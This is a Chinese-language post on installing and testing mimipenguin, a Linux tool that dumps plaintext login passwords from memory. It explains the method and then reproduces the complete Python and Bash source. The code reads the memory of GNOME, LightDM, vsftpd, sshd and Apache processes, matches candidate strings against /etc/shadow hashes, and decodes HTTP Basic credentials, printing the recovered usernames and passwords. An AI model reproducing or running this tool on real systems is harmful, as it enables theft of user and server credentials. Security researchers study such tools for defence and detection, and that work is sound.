安装与测试mimipenguin

---

安装方法

bobac@UBP:~$ git clone https://github.com/huntergregal/mimipenguin.git

测试使用

#就像mimikatz需要administrator权限一样，这里也需要root权限
bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.py
#或
bobac@UBP:~/mimipenguin$ sudo ./mimipenguin.sh

原理分析

---

首先，要列出可能保存相关凭据的进程，可以看到python给出的这个几个进程

/*
gdm-password
gnome-keyring-daemon    GNOME密码也就是图形登录的账号密码
lightdm                 LIGHTDM账户密码，基本上与GNOME一致 
vsftpd                  文件服务FTP账户密码
sshd                    连接SSH服务的账户密码
apache2                 起HTTP服务的账户密码
*/

0x01 读取进程内存：在这些进程的内存中尝试dump口令，那么需要dump进程内存，原理是打开/proc/pid/maps文件，对其中的内容做一些处理，然后得出一个读取大小。根据这个大小读取/proc/pid/mem文件中的内容，处理后作为原始数据。
0x02 读取明文密码：然后根据不同进程的一些凭据字符串附近的特征字符串，进行定位，或者利用正则进行匹配，取出凭据所在的内存部分，提取到凭据明文。
0x03 读取hash，利用正则表达式，在内存部分原始数据中读取到hash值，然后打开/etc/shadow进行匹配，匹配到对应的账户名称。
0x04 散列值对比，利用计算hash的方法，对明文密码进行hash计算，与发现的hash比较，从而验证明文密码。

附录：Python和shell代码

---

#!/usr/bin/env python3
#   -*- encoding: utf8 -*-
#   Rewrite of mimipenguin in Python 3.
#   Original idea from Hunter Gregal (@huntergregal).
#   Implementation by Yannick Méheut (github.com/the-useless-one)
#   Copyright © 2017, Yannick Méheut <[email protected]>

#   This program is free software: you can redistribute it and/or modify
#   it under the terms of the GNU General Public License as published by
#   the Free Software Foundation, either version 3 of the License, or
#   (at your option) any later version.
#
#   This program is distributed in the hope that it will be useful,
#   but WITHOUT ANY WARRANTY; without even the implied warranty of
#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#   GNU General Public License for more details.

#   You should have received a copy of the GNU General Public License
#   along with this program.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import print_function

import os
import platform
import re
import base64
import binascii
import crypt
import string


def running_as_root():
    return os.geteuid() == 0


def get_linux_distribution():
    try:
        return platform.dist()[0].lower()
    except IndexError:
        return str()


def compute_hash(ctype, salt, password):
    return crypt.crypt(password, '{}{}'.format(ctype, salt))


def strings(s, min_length=4):
    strings_result = list()
    result = str()

    for c in s:
        try:
            c = chr(c)
        except TypeError:
            # In Python 2, c is already a chr
            pass
        if c in string.printable:
            result += c
        else:
            if len(result) >= min_length:
                strings_result.append(result)
            result = str()

    return strings_result


def dump_process(pid):
    dump_result = bytes()

    with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
        for l in maps_file.readlines():
            memrange, attributes = l.split(' ')[:2]
            if attributes.startswith('r'):
                memrange_start, memrange_stop = [
                    int(x, 16) for x in memrange.split('-')]
                memrange_size = memrange_stop - memrange_start
                with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                    try:
                        mem_file.seek(memrange_start)
                        dump_result += mem_file.read(memrange_size)
                    except (OSError, ValueError, IOError, OverflowError):
                        pass

    return dump_result


def find_pid(process_name):
    pids = list()

    for pid in os.listdir('/proc'):
        try:
            with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
                if process_name in cmdline_file.read().decode():
                    pids.append(pid)
        except IOError:
            continue

    return pids


class PasswordFinder:
    _hash_re = r'^\$.\$.+$'

    def __init__(self):
        self._potential_passwords = list()
        self._strings_dump = list()
        self._found_hashes = list()

    def _dump_target_processes(self):
        target_pids = list()
        for target_process in self._target_processes:
            target_pids += find_pid(target_process)
        for target_pid in target_pids:
            self._strings_dump += strings(dump_process(target_pid))

    def _find_hash(self):
        for s in self._strings_dump:
            if re.match(PasswordFinder._hash_re, s):
                self._found_hashes.append(s)

    def _find_potential_passwords(self):
        for needle in self._needles:
            needle_indexes = [i for i, s in enumerate(self._strings_dump)
                              if re.search(needle, s)]
            for needle_index in needle_indexes:
                self._potential_passwords += self._strings_dump[
                    needle_index - 10:needle_index + 10]
        self._potential_passwords = list(set(self._potential_passwords))

    def _try_potential_passwords(self):
        valid_passwords = list()
        found_hashes = list()
        pw_hash_to_user = dict()

        if self._found_hashes:
            found_hashes = self._found_hashes
        with open('/etc/shadow', 'r') as f:
            for l in f.readlines():
                user, pw_hash = l.split(':')[:2]
                if not re.match(PasswordFinder._hash_re, pw_hash):
                    continue
                found_hashes.append(pw_hash)
                pw_hash_to_user[pw_hash] = user

        found_hashes = list(set(found_hashes))

        for found_hash in found_hashes:
            ctype = found_hash[:3]
            salt = found_hash.split('$')[2]
            for potential_password in self._potential_passwords:
                potential_hash = compute_hash(ctype, salt, potential_password)
                if potential_hash == found_hash:
                    try:
                        valid_passwords.append(
                            (pw_hash_to_user[found_hash], potential_password))
                    except KeyError:
                        valid_passwords.append(
                            ('<unknown user>', potential_password))

        return valid_passwords

    def dump_passwords(self):
        self._dump_target_processes()
        self._find_hash()
        self._find_potential_passwords()

        return self._try_potential_passwords()


class GdmPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - GNOME]'
        self._target_processes = ['gdm-password']
        self._needles = ['^_pammodutil_getpwnam_root_1$',
                         '^gkr_system_authtok$']


class GnomeKeyringPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - GNOME]'
        self._target_processes = ['gnome-keyring-daemon']
        self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$', r'linux-vdso\.so\.1$']

class LightDmPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - LIGHTDM]'
        self._target_processes = ['lightdm']
        self._needles = [r'^_pammodutil_getspnam_']

class VsftpdPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - VSFTPD]'
        self._target_processes = ['vsftpd']
        self._needles = [
            r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']


class SshdPasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[SYSTEM - SSH]'
        self._target_processes = ['sshd:']
        self._needles = [r'^sudo.+']


class ApachePasswordFinder(PasswordFinder):
    def __init__(self):
        PasswordFinder.__init__(self)
        self._source_name = '[HTTP BASIC - APACHE2]'
        self._target_processes = ['apache2']
        self._needles = [r'^Authorization: Basic.+']

    def _try_potential_passwords(self):
        valid_passwords = list()

        for potential_password in self._potential_passwords:
            try:
                potential_password = base64.b64decode(potential_password)
            except binascii.Error:
                continue
            else:
                try:
                    user, password = potential_password.split(':', maxsplit=1)
                    valid_passwords.append((user, password))
                except IndexError:
                    continue

        return valid_passwords

    def dump_passwords(self):
        self._dump_target_processes()
        self._find_potential_passwords()

        return self._try_potential_passwords()


def main():
    if not running_as_root():
        raise RuntimeError('mimipenguin should be ran as root')

    password_finders = list()

    if find_pid('gdm-password'):
        password_finders.append(GdmPasswordFinder())
    if find_pid('gnome-keyring-daemon'):
        password_finders.append(GnomeKeyringPasswordFinder())
    if find_pid('lightdm'):
        password_finders.append(LightDmPasswordFinder())
    if os.path.isfile('/etc/vsftpd.conf'):
        password_finders.append(VsftpdPasswordFinder())
    if os.path.isfile('/etc/ssh/sshd_config'):
        password_finders.append(SshdPasswordFinder())
    if os.path.isfile('/etc/apache2/apache2.conf'):
        password_finders.append(ApachePasswordFinder())

    for password_finder in password_finders:
        for valid_passwords in password_finder.dump_passwords():
            print('{}\t{}:{}'.format(password_finder._source_name,
                                     valid_passwords[0], valid_passwords[1]))


if __name__ == '__main__':
    main()

#!/bin/bash

# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Dumps cleartext credentials from memory

#root check
if [[ "$EUID" -ne 0 ]]; then
    echo "Root required - You are dumping memory..."
    echo "Even mimikatz requires administrator"
    exit 1
fi

#Store results to cleanup later
export RESULTS=""

# check if a command exists in $PATH
command_exists () {

  command -v "${1}" >/dev/null 2>&1
}

# check for required executables in $PATH
if ! command_exists strings; then
    echo "Error: command 'strings' not found in ${PATH}"
    exit 1
fi
if ! command_exists grep; then
    echo "Error: command 'grep' not found in ${PATH}"
    exit 1
fi

# Check for any of the currently tested versions of Python
if command_exists python2; then
    pycmd=python2
elif command_exists python2.7; then
    pycmd=python2.7
elif command_exists python3; then
    pycmd=python3
elif command_exists python3.6; then
    pycmd=python3.6
elif command_exists python3.7; then
    pycmd=python3.7
else
    echo "Error: No supported version of 'python' found in ${PATH}"
    exit 1
fi

# $1 = PID, $2 = output_file, $3 = operating system
function dump_pid () {

    system=$3
    pid=$1
    output_file=$2
    if [[ $system == "kali" ]]; then
        mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | grep -E 'heap|stack' | cut -d' ' -f 1)
    else
        mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1)
    fi
    while read -r memrange; do
        memrange_start=$(echo "$memrange" | cut -d"-" -f 1)
        memrange_start=$(printf "%u\n" 0x"$memrange_start")
        memrange_stop=$(echo "$memrange" | cut -d"-" -f 2)
        memrange_stop=$(printf "%u\n" 0x"$memrange_stop")
        memrange_size=$((memrange_stop - memrange_start))
        dd if=/proc/"$pid"/mem of="${output_file}"."${pid}" ibs=1 oflag=append conv=notrunc \
            skip="$memrange_start" count="$memrange_size" > /dev/null 2>&1
    done <<< "$mem_maps"
}



# $1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
function parse_pass () {

    #If hash not in dump get shadow hashes
    if [[ ! "$2" ]]; then
            SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | grep -E '^\$.\$')"
    fi

    #Determine password potential for each word
    while read -r line; do
        #If hash in dump, prepare crypt line
        if [[ "$2" ]]; then
            #get ctype
            CTYPE="$(echo "$2" | cut -c-3)"
            #Escape quotes, backslashes, single quotes to pass into crypt
            SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
            CRYPT="\"$SAFE\", \"$CTYPE$3\""
            if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$2" ]]; then
                #Find which user's password it is (useful if used more than once!)
                USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
                export RESULTS="$RESULTS$4          $USER:$line \n"
            fi
        #Else use shadow hashes
        elif [[ $SHADOWHASHES ]]; then
            while read -r thishash; do
                CTYPE="$(echo "$thishash" | cut -c-3)"
                SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
                #Escape quotes, backslashes, single quotes to pass into crypt
                SAFE=$(echo "$line" | sed 's/\\/\\\\/g; s/\"/\\"/g; s/'"'"'/\\'"'"'/g;')
                CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
                if [[ $($pycmd -c "from __future__ import print_function; import crypt; print(crypt.crypt($CRYPT))") == "$thishash" ]]; then
                    #Find which user's password it is (useful if used more than once!)
                    USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
                    export RESULTS="$RESULTS$4          $USER:$line\n"
                fi
            done <<< "$SHADOWHASHES"
        #if no hash data - revert to checking probability
        else
        patterns=("^_pammodutil.+[0-9]$"\
                 "^LOGNAME="\
                 "UTF-8"\
                 "^splayManager[0-9]$"\
                 "^gkr_system_authtok$"\
                 "[0-9]{1,4}:[0-9]{1,4}:"\
                 "Manager\.Worker"\
                 "/usr/share"\
                 "/bin"\
                 "\.so\.[0-1]$"\
                 "x86_64"\
                 "(aoao)"\
                 "stuv")
        export RESULTS="$RESULTS[HIGH]$4            $line\n"
        for pattern in "${patterns[@]}"; do
          if [[ $line =~ $pattern ]]; then
            export RESULTS="$RESULTS[LOW]$4         $line\n"
          fi
        done
        fi
    done <<< "$1"
} # end parse_pass


#Support Kali
if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
    SOURCE="[SYSTEM - GNOME]"
    #get gdm-session-worker [pam/gdm-password] process
    PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk -F ' ' '{ print $1 }')"
    #if exists aka someone logged into gnome then extract...
    if [[ $PID ]];then
        while read -r pid; do
            dump_pid "$pid" /tmp/dump "kali"
            HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
            SALT="$(echo "$HASH" | cut -d'$' -f 3)"
            DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
            DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | grep -E '^gkr_system_authtok$' -B 5 -A 5)"
            #Remove dupes to speed up processing
            DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
            parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
    
            #cleanup
            rm -rf "/tmp/dump.${pid}"
        done <<< "$PID"
    fi
fi

#Support gnome-keyring
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then

        SOURCE="[SYSTEM - GNOME]"
        #get /usr/bin/gnome-keyring-daemon process
        PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk -F ' ' '{ print $1 }')"

    #if exists aka someone logged into gnome then extract...
    if [[ $PID ]];then
        while read -r pid; do
            dump_pid "$pid" /tmp/dump
            HASH="$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
            SALT="$(echo "$HASH" | cut -d'$' -f 3)"
            DUMP=$(strings "/tmp/dump.${pid}" | grep -E '^.+libgck\-1\.so\.0$' -B 10 -A 10)
            DUMP+=$(strings "/tmp/dump.${pid}" | grep -E -A 5 -B 5 'libgcrypt\.so\..+$')
            #Remove dupes to speed up processing
            DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
            parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
            #cleanup
            rm -rf "/tmp/dump.${pid}"
        done <<< "$PID"
    fi
fi

#Support LightDM
if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep lightdm | grep session-child) ]]; then
    SOURCE="[SYSTEM - LIGHTDM]"
    PID="$(ps -eo pid,command | grep lightdm | sed -rn '/session\-child/p' | awk -F ' ' '{ print $1 }')"

    #if exists aka someone logged into lightdm then extract...
    if [[ $PID ]]; then
        while read -r pid; do
            dump_pid "$pid" /tmp/dump
            HASH=$(strings "/tmp/dump.${pid}" | grep -E -m 1 '^\$.\$.+\$')
            SALT="$(echo "$HASH" | cut -d'$' -f 3)"
            DUMP="$(strings "/tmp/dump.${pid}" | grep -E '^_pammodutil_getspnam_' -A1)"
            #Remove dupes to speed up processing
            DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
            parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
            #cleanup
            rm -rf "/tmp/dump.${pid}"
        done <<< "$PID"
    fi
fi

#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
        SOURCE="[SYSTEM - VSFTPD]"
        #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
        PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk -F ' ' '{ print $1 }')"
    #if exists aka someone logged into FTP then extract...
    if [[ $PID ]];then
        while read -r pid; do
            dump_pid "$pid" /tmp/vsftpd
            HASH="$(strings "/tmp/vsftpd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
            SALT="$(echo "$HASH" | cut -d'$' -f 3)"
            DUMP=$(strings "/tmp/vsftpd.${pid}" | grep -E -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$')
            #Remove dupes to speed up processing
            DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
            parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
        done <<< "$PID"

        #cleanup
        rm -rf /tmp/vsftpd*
    fi
fi

#Support Apache2 - HTTP BASIC AUTH
if [[ -e "/etc/apache2/apache2.conf" ]]; then
        SOURCE="[HTTP BASIC - APACHE2]"
        #get all apache workers /usr/sbin/apache2 -k start
        PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
    #if exists aka apache2 running
    if [[ "$PID" ]];then
        #Dump all workers
        while read -r pid; do
            gcore -o /tmp/apache "$pid" > /dev/null 2>&1
            #without gcore - VERY SLOW!
            #dump_pid $pid /tmp/apache
        done <<< "$PID"
        #Get encoded creds
        DUMP="$(strings /tmp/apache* | grep -E '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
        #for each extracted b64 - decode the cleartext
        while read -r encoded; do
            CREDS="$(echo "$encoded" | base64 -d)"
            if [[ "$CREDS" ]]; then
                export RESULTS="$RESULTS$SOURCE         $CREDS\n"
            fi
        done <<< "$DUMP"
        #cleanup
        rm -rf /tmp/apache*
    fi
fi

#Support sshd - Search active connections for Sudo passwords
if [[ -e "/etc/ssh/sshd_config" ]]; then
    SOURCE="[SYSTEM - SSH]"
    #get all ssh tty/pts sessions - sshd: user@pts01
    PID="$(ps -eo pid,command | grep -E 'sshd:.+@' | grep -v 'grep' | awk -F ' ' '{ print $1 }')"
    #if exists aka someone logged into SSH then dump
    if [[ "$PID" ]];then
        while read -r pid; do
            dump_pid "$pid" /tmp/sshd
            HASH="$(strings "/tmp/sshd.${pid}" | grep -E -m 1 '^\$.\$.+\$')"
            SALT="$(echo "$HASH" | cut -d'$' -f 3)"
            DUMP=$(strings "/tmp/sshd.${pid}" | grep -E -A 3 '^sudo.+')
            #Remove dupes to speed up processing
            DUMP=$(echo "$DUMP" | tr " " "\n" |sort -u)
            parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
        done <<< "$PID"
        #cleanup
        rm -rf /tmp/sshd.*
    fi
fi

#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "%b" "$RESULTS" | sort -u
unset RESULTS